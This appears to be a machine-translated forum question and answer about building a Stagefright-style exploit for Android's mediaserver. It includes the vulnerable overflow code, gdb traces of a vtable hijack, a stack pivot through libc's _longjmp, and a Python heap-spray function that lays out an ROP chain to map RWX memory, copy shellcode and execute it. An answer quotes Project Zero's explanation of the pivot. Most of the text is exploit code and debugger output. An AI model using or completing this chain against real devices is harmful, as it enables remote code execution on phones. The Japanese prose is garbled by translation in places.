ここで私はr2を制御します(vtable)
0xb6712c48 <+7120>: ldr r5, [r2, #28]
0xb6712c4a <+7122>: ldrd r2, r3, [r8]
0xb6712c4e <+7126>: blx r5
どうやってそれを理解する:
私はr2レジスタ(vtable)を制御し、それが分岐するよりもr2(28バイト)からのオフセット値をロードし、r5を呼び出します
そのため、実際には、readAt()が以下で呼び出される命令を呼び出すことができます。
// overflow here, so that size + chunk_size == 32 and size > 32
uint8_t *buffer = new uint8_t[size + chunk_size];
// buffer is allocated immediately before mDataSource
if (size > 0) {
// this will overflow and corrupt the mDataSource vtable
memcpy(buffer, data, size);
}
// this call goes through the corrupt vtable, and we get control of execution
if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
< chunk_size) {
大きな問題は、どのように構築するかです。
スタックピボット
誰かがそれを高レベルで、理想的には正確な例を使って説明できますか?
私が理解する限り、私はする必要があります:
ガジェットとROPingの新機能
おかげで、
更新1:
これが私の試みです:
このガジェットを使いたい:
0xb6f05424 <+32>: add r2, r0, #76 ; 0x4c
0xb6f05428 <+36>: ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
0xb6f0542c <+40>: teq sp, #0
0xb6f05430 <+44>: teqne lr, #0
0xb6f05434 <+48>: beq 0xb6f05448 <_longjmp+68>
0xb6f05438 <+52>: mov r0, r1
0xb6f0543c <+56>: teq r0, #0
0xb6f05440 <+60>: moveq r0, #1
0xb6f05444 <+64>: bx lr
それは私が使用するガジェットの完全な逆アセンブルです:
(gdb) disass 0xb6f05408
Dump of assembler code for function _longjmp:
0xb6f05404 <+0>: ldr r2, [pc, #-12] ; 0xb6f05400
0xb6f05408 <+4>: ldr r3, [r0]
0xb6f0540c <+8>: teq r2, r3
0xb6f05410 <+12>: bne 0xb6f05448 <_longjmp+68>
0xb6f05414 <+16>: add r2, r0, #8
0xb6f05418 <+20>: vldmia r2, {d8-d15}
0xb6f0541c <+24>: ldr r2, [r0, #72] ; 0x48
0xb6f05420 <+28>: vmsr fpscr, r2
0xb6f05424 <+32>: add r2, r0, #76 ; 0x4c
0xb6f05428 <+36>: ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
0xb6f0542c <+40>: teq sp, #0
0xb6f05430 <+44>: teqne lr, #0
0xb6f05434 <+48>: beq 0xb6f05448 <_longjmp+68>
0xb6f05438 <+52>: mov r0, r1
0xb6f0543c <+56>: teq r0, #0
0xb6f05440 <+60>: moveq r0, #1
0xb6f05444 <+64>: bx lr
0xb6f05448 <+68>: blx 0xb6f06e70 <longjmperror>
0xb6f0544c <+72>: bl 0xb6f050d4 <abort>
0xb6f05450 <+76>: b 0xb6f05448 <_longjmp+68>
End of assembler dump.
I set next instruction to my pivot gadget at 0xb6f05424
(gdb) attach 25340
Attaching to program: /system/bin/mediaserver, process 25340
[New LWP 25344]
[New LWP 25345]
[New LWP 25346]
[New LWP 25350]
[New LWP 25351]
[New LWP 25352]
[New LWP 25353]
[New LWP 25354]
[New LWP 25355]
[New LWP 25362]
[New LWP 25363]
[New LWP 25364]
warning: Could not load shared library symbols for 15 libraries, e.g. camera.msm8226.so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
Thread 1 "mediaserver" stopped.
0xb6f2d83c in __ioctl () from /system/lib/libc.so
(gdb) cont
Continuing.
[New LWP 25452]
[New LWP 25520]
[New LWP 25548]
Thread 1 "mediaserver" received signal SIGSEGV, Segmentation fault.
0x03a00000 in ?? ()
(gdb) i r
r0 0xb5838ba0 3045297056
r1 0xb5838c18 3045297176
r2 0x1000710 16779024
r3 0x0 0
r4 0xbeffeff0 3204444144
r5 0x3a00001 60817409
r6 0xb586dde0 3045514720
r7 0xffffff84 4294967172
r8 0xbefff528 3204445480
r9 0xb67cb7d0 3061626832
r10 0xffffff74 4294967156
r11 0xb5838b78 3045297016
r12 0xbeffeab8 3204442808
sp 0xbeffef78 0xbeffef78
lr 0xb6712c51 -1234097071
pc 0x3a00000 0x3a00000
cpsr 0x600f0030 1611595824
(gdb) x/10x 0xb6f05424
0xb6f05424 <_longjmp+32>: 0xe280204c 0xe8927ff0 0xe33d0000 0x133e0000
0xb6f05434 <_longjmp+48>: 0x0a000003 0xe1a00001 0xe3300000 0x03a00001
0xb6f05444 <_longjmp+64>: 0xe12fff1e 0xfa000688
ここで障害が発生する理由はありますか?
どうすればそれがどの指示だったかを知ることができますか
おかげで、
更新2:
だから今私はピボットガジェットのアドレスを持つ偽のvtableをヒープに入れようとしました。それは通過しますが、0x00000000でのセグフォールトよりも
(gdb) attach 316
A program is being debugged already. Kill it? (y or n) y
Attaching to program: /system/bin/mediaserver, process 316
[New LWP 351]
[New LWP 363]
[New LWP 364]
[New LWP 389]
[New LWP 390]
[New LWP 391]
[New LWP 392]
[New LWP 393]
[New LWP 394]
[New LWP 397]
[New LWP 398]
[New LWP 400]
[New LWP 401]
[New LWP 402]
[New LWP 436]
warning: Could not load shared library symbols for 15 libraries, e.g. camera.msm8226.so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
Thread 1 "mediaserver" stopped.
0xb6f2d83c in __ioctl () from /system/lib/libc.so
(gdb) cont
Continuing.
[New LWP 482]
[New LWP 483]
[New LWP 495]
[New LWP 516]
Thread 1 "mediaserver" hit Breakpoint 1, 0xb6f05424 in _longjmp ()
from /system/lib/libc.so
(gdb) ir
Undefined command: "ir". Try "help".
(gdb) i r
r0 0xb5838b50 3045296976
r1 0xb5838bc8 3045297096
r2 0x1000710 16779024
r3 0x0 0
r4 0xbeffeff0 3204444144
r5 0xb6f05424 3069203492
r6 0xb586dde0 3045514720
r7 0xffffff84 4294967172
r8 0xbefff528 3204445480
r9 0xb67cb7d0 3061626832
r10 0xffffff74 4294967156
r11 0xb5838b28 3045296936
r12 0xbeffeab8 3204442808
sp 0xbeffef78 0xbeffef78
lr 0xb6712c51 -1234097071
pc 0xb6f05424 0xb6f05424 <_longjmp+32>
cpsr 0x600f0010 1611595792
(gdb) stepi
[New LWP 635]
[LWP 483 exited]
0xb6f05428 in _longjmp () from /system/lib/libc.so
(gdb) disass 0xb6f05428
Dump of assembler code for function _longjmp:
0xb6f05404 <+0>: ldr r2, [pc, #-12] ; 0xb6f05400
0xb6f05408 <+4>: ldr r3, [r0]
0xb6f0540c <+8>: teq r2, r3
0xb6f05410 <+12>: bne 0xb6f05448 <_longjmp+68>
0xb6f05414 <+16>: add r2, r0, #8
0xb6f05418 <+20>: vldmia r2, {d8-d15}
0xb6f0541c <+24>: ldr r2, [r0, #72] ; 0x48
0xb6f05420 <+28>: vmsr fpscr, r2
0xb6f05424 <+32>: add r2, r0, #76 ; 0x4c
=> 0xb6f05428 <+36>: ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
0xb6f0542c <+40>: teq sp, #0
0xb6f05430 <+44>: teqne lr, #0
0xb6f05434 <+48>: beq 0xb6f05448 <_longjmp+68>
0xb6f05438 <+52>: mov r0, r1
0xb6f0543c <+56>: teq r0, #0
0xb6f05440 <+60>: moveq r0, #1
0xb6f05444 <+64>: bx lr
0xb6f05448 <+68>: blx 0xb6f06e70 <longjmperror>
0xb6f0544c <+72>: bl 0xb6f050d4 <abort>
0xb6f05450 <+76>: b 0xb6f05448 <_longjmp+68>
End of assembler dump.
(gdb) stepi
[New LWP 636]
0xb6f0542c in _longjmp () from /system/lib/libc.so
(gdb) i r
r0 0xb5838b50 3045296976
r1 0xb5838bc8 3045297096
r2 0xb5838b9c 3045297052
r3 0x0 0
r4 0x30303030 808464432
r5 0x30303030 808464432
r6 0x30303030 808464432
r7 0x30303030 808464432
r8 0x30303030 808464432
r9 0x30303030 808464432
r10 0x30303030 808464432
r11 0x30303030 808464432
r12 0x30303030 808464432
sp 0xb05b4020 0xb05b4020
lr 0xb6f47974 -1225492108
pc 0xb6f0542c 0xb6f0542c <_longjmp+40>
cpsr 0x600f0010 1611595792
(gdb) stepi
[LWP 495 exited]
[LWP 436 exited]
0xb6f05430 in _longjmp () from /system/lib/libc.so
(gdb) i r
r0 0xb5838b50 3045296976
r1 0xb5838bc8 3045297096
r2 0xb5838b9c 3045297052
r3 0x0 0
r4 0x30303030 808464432
r5 0x30303030 808464432
r6 0x30303030 808464432
r7 0x30303030 808464432
r8 0x30303030 808464432
r9 0x30303030 808464432
r10 0x30303030 808464432
r11 0x30303030 808464432
r12 0x30303030 808464432
sp 0xb05b4020 0xb05b4020
lr 0xb6f47974 -1225492108
pc 0xb6f05430 0xb6f05430 <_longjmp+44>
cpsr 0xa00f0010 -1609629680
(gdb) disass 0xb6f05430
Dump of assembler code for function _longjmp:
0xb6f05404 <+0>: ldr r2, [pc, #-12] ; 0xb6f05400
0xb6f05408 <+4>: ldr r3, [r0]
0xb6f0540c <+8>: teq r2, r3
0xb6f05410 <+12>: bne 0xb6f05448 <_longjmp+68>
0xb6f05414 <+16>: add r2, r0, #8
0xb6f05418 <+20>: vldmia r2, {d8-d15}
0xb6f0541c <+24>: ldr r2, [r0, #72] ; 0x48
0xb6f05420 <+28>: vmsr fpscr, r2
0xb6f05424 <+32>: add r2, r0, #76 ; 0x4c
0xb6f05428 <+36>: ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
0xb6f0542c <+40>: teq sp, #0
=> 0xb6f05430 <+44>: teqne lr, #0
0xb6f05434 <+48>: beq 0xb6f05448 <_longjmp+68>
0xb6f05438 <+52>: mov r0, r1
0xb6f0543c <+56>: teq r0, #0
0xb6f05440 <+60>: moveq r0, #1
0xb6f05444 <+64>: bx lr
0xb6f05448 <+68>: blx 0xb6f06e70 <longjmperror>
0xb6f0544c <+72>: bl 0xb6f050d4 <abort>
0xb6f05450 <+76>: b 0xb6f05448 <_longjmp+68>
End of assembler dump.
(gdb) stepi
0xb6f05434 in _longjmp () from /system/lib/libc.so
(gdb) disass 0xb6f05430
Dump of assembler code for function _longjmp:
0xb6f05404 <+0>: ldr r2, [pc, #-12] ; 0xb6f05400
0xb6f05408 <+4>: ldr r3, [r0]
0xb6f0540c <+8>: teq r2, r3
0xb6f05410 <+12>: bne 0xb6f05448 <_longjmp+68>
0xb6f05414 <+16>: add r2, r0, #8
0xb6f05418 <+20>: vldmia r2, {d8-d15}
0xb6f0541c <+24>: ldr r2, [r0, #72] ; 0x48
0xb6f05420 <+28>: vmsr fpscr, r2
0xb6f05424 <+32>: add r2, r0, #76 ; 0x4c
0xb6f05428 <+36>: ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
0xb6f0542c <+40>: teq sp, #0
0xb6f05430 <+44>: teqne lr, #0
=> 0xb6f05434 <+48>: beq 0xb6f05448 <_longjmp+68>
0xb6f05438 <+52>: mov r0, r1
0xb6f0543c <+56>: teq r0, #0
0xb6f05440 <+60>: moveq r0, #1
0xb6f05444 <+64>: bx lr
0xb6f05448 <+68>: blx 0xb6f06e70 <longjmperror>
0xb6f0544c <+72>: bl 0xb6f050d4 <abort>
0xb6f05450 <+76>: b 0xb6f05448 <_longjmp+68>
End of assembler dump.
(gdb) i r
r0 0xb5838b50 3045296976
r1 0xb5838bc8 3045297096
r2 0xb5838b9c 3045297052
r3 0x0 0
r4 0x30303030 808464432
r5 0x30303030 808464432
r6 0x30303030 808464432
r7 0x30303030 808464432
r8 0x30303030 808464432
r9 0x30303030 808464432
r10 0x30303030 808464432
r11 0x30303030 808464432
r12 0x30303030 808464432
sp 0xb05b4020 0xb05b4020
lr 0xb6f47974 -1225492108
pc 0xb6f05434 0xb6f05434 <_longjmp+48>
cpsr 0xa00f0010 -1609629680
(gdb) stepi
[LWP 402 exited]
0xb6f05438 in _longjmp () from /system/lib/libc.so
(gdb) disass 0xb6f05430
Dump of assembler code for function _longjmp:
0xb6f05404 <+0>: ldr r2, [pc, #-12] ; 0xb6f05400
0xb6f05408 <+4>: ldr r3, [r0]
0xb6f0540c <+8>: teq r2, r3
0xb6f05410 <+12>: bne 0xb6f05448 <_longjmp+68>
0xb6f05414 <+16>: add r2, r0, #8
0xb6f05418 <+20>: vldmia r2, {d8-d15}
0xb6f0541c <+24>: ldr r2, [r0, #72] ; 0x48
0xb6f05420 <+28>: vmsr fpscr, r2
0xb6f05424 <+32>: add r2, r0, #76 ; 0x4c
0xb6f05428 <+36>: ldm r2, {r4, r5, r6, r7, r8, r9, r10, r11, r12, sp, lr}
0xb6f0542c <+40>: teq sp, #0
0xb6f05430 <+44>: teqne lr, #0
0xb6f05434 <+48>: beq 0xb6f05448 <_longjmp+68>
=> 0xb6f05438 <+52>: mov r0, r1
0xb6f0543c <+56>: teq r0, #0
0xb6f05440 <+60>: moveq r0, #1
0xb6f05444 <+64>: bx lr
0xb6f05448 <+68>: blx 0xb6f06e70 <longjmperror>
0xb6f0544c <+72>: bl 0xb6f050d4 <abort>
0xb6f05450 <+76>: b 0xb6f05448 <_longjmp+68>
End of assembler dump.
(gdb) stepi
0xb6f0543c in _longjmp () from /system/lib/libc.so
(gdb) stepi
0xb6f05440 in _longjmp () from /system/lib/libc.so
(gdb)
0xb6f05444 in _longjmp () from /system/lib/libc.so
(gdb)
0xb6f47974 in _Unwind_GetGR () from /system/lib/libc.so
(gdb)
0xb6f47974 in _Unwind_GetGR () from /system/lib/libc.so
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0x0
(gdb) i r
r0 0xb5838bc8 3045297096
r1 0xb5838bc8 3045297096
r2 0xb5838b9c 3045297052
r3 0x0 0
r4 0x30303030 808464432
r5 0x30303030 808464432
r6 0x30303030 808464432
r7 0x30303030 808464432
r8 0x30303030 808464432
r9 0x30303030 808464432
r10 0x30303030 808464432
r11 0x30303030 808464432
r12 0x30303030 808464432
sp 0xb05b4020 0xb05b4020
lr 0xb6f47974 -1225492108
pc 0xb6f47974 0xb6f47974 <_Unwind_GetGR+36>
cpsr 0xa00f0010 -1609629680
(gdb) cont
Continuing.
Thread 1 "mediaserver" received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) cont
Continuing.
Thread 1 "mediaserver" received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) cont
Continuing.
Unable to fetch general registers.: No such process.
(gdb) [LWP 636 exited]
[LWP 635 exited]
[LWP 516 exited]
[LWP 482 exited]
[LWP 401 exited]
[LWP 400 exited]
[LWP 398 exited]
[LWP 397 exited]
[LWP 394 exited]
[LWP 393 exited]
[LWP 392 exited]
[LWP 391 exited]
[LWP 390 exited]
[LWP 389 exited]
[LWP 364 exited]
[LWP 363 exited]
[LWP 351 exited]
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
The program is not being run.
(gdb) x/10x 0xb5838bc8
0xb5838bc8: Cannot access memory at address 0xb5838bc8
(gdb)
更新3:
更新する追加情報2:。ポップ{pc}でセグメンテーション違反が発生しているようです
(gdb) disass 0xb6f47974
Dump of assembler code for function _Unwind_GetGR:
0xb6f47950 <+0>: Push {r0, r1, r2, r3, r4, lr}
0xb6f47954 <+4>: mov r2, r1
0xb6f47958 <+8>: add r3, sp, #12
0xb6f4795c <+12>: mov r1, #0
0xb6f47960 <+16>: str r3, [sp]
0xb6f47964 <+20>: mov r3, r1
0xb6f47968 <+24>: bl 0xb6f478f4 <_Unwind_VRS_Get>
0xb6f4796c <+28>: ldr r0, [sp, #12]
0xb6f47970 <+32>: add sp, sp, #20
0xb6f47974 <+36>: pop {pc} ; (ldr pc, [sp], #4)
End of assembler dump.
私のヒープスプレー:
def heap_spray(size):
pssh = 'spry'
pssh += 'S' * 16
pssh += pb32(size)
page = ''
nop = asm.asm('nop', Arch='thumb')
while len(page) < 28:
page += nop
page += p32(stack_pivot)
# pivot swaps stack then returns to pop {pc}
page += p32(pop_r0_r1_r2_r3_pc)
page += shellcode
while len(page) < 0xed0:
page += '\xcc'
# mmap64(mmap_address,
# 0x1000,
# PROT_READ | PROT_WRITE | PROT_EXECUTE,
# MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
# -1,
# 0);
page += p32(mmap_address) # r0 = address
page += p32(0x1000) # r1 = size
page += p32(7) # r2 = protection
page += p32(0x32) # r3 = flags
page += p32(ldr_lr_bx_lr) # pc
page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap64) # pc
page += p32(0xffffffff) # fd (and then r4)
page += pad(4) # padding (and then r5)
page += p64(0) # offset (and then r6, r7)
page += p32(pop_r0_r1_r2_r3_pc) # pc
# memcpy(shellcode_address,
# spray_address + len(rop_stack),
# len(shellcode));
page += p32(mmap_address) # r0 = dst
page += p32(spray_address - 0xed0) # r1 = src
page += p32(0xed0) # r2 = size
page += p32(0x33333333) # r3
page += p32(ldr_lr_bx_lr) # pc
page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(memcpy) # pc
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap_address + 1) # pc
while len(page) < 0x1000:
page += '#'
pssh += page * (size // 0x1000)
return chunk('pssh', pssh)
メタファーエクスプロイト/ ASLRバイパス (15ページ)と同様に、同じスタックピボットが Google ZeroでのStagefrightコード実行例 で使用されています。
システム構成でASLRを無効にすると、スタックをピボットする便利なトリックがすぐに見つかりました(関数呼び出しはvtable呼び出しなので、破損したMPEG4DataSourceを指すように、常にこのオブジェクトとしてr0を設定します)。
Libc.soのlongjmp内には、次の命令シーケンスがあります。
.text:00013344 ADD R2, R0, #0x4C .text:00013348 LDMIA R2, {R4, R5, R6, R7, R8, R9, R10, R11, R12, SP, LR} .text:0001334C TEQ SP, #0 .text:00013350 TEQNE LR, #0 .text:00013354 BEQ botch_0 ; we won’t take this branch, as we control lr .text:00013358 MOV R0, R1 .text:0001335C TEQ R0, #0 .text:00013360 MOVEQ R0, #1 .text:00013364 BX LR
これにより、スタックポインタを含むほとんどのレジスタが、制御するデータを指すr0のオフセットからロードされます。この時点でROPチェーンを使用してエクスプロイトを完了し、RWXメモリを割り当て、シェルコードをコピーし、libc.so内の関数とガジェットのみを使用してそこにジャンプするのは簡単です。
pc
レジスタは、もちろんx86のEIPレジスタに相当します。なぜnullポインターを取得するのかを知るには、ジャンプまたは呼び出しがそれに実行アドレスを与えるのを確認する必要があります。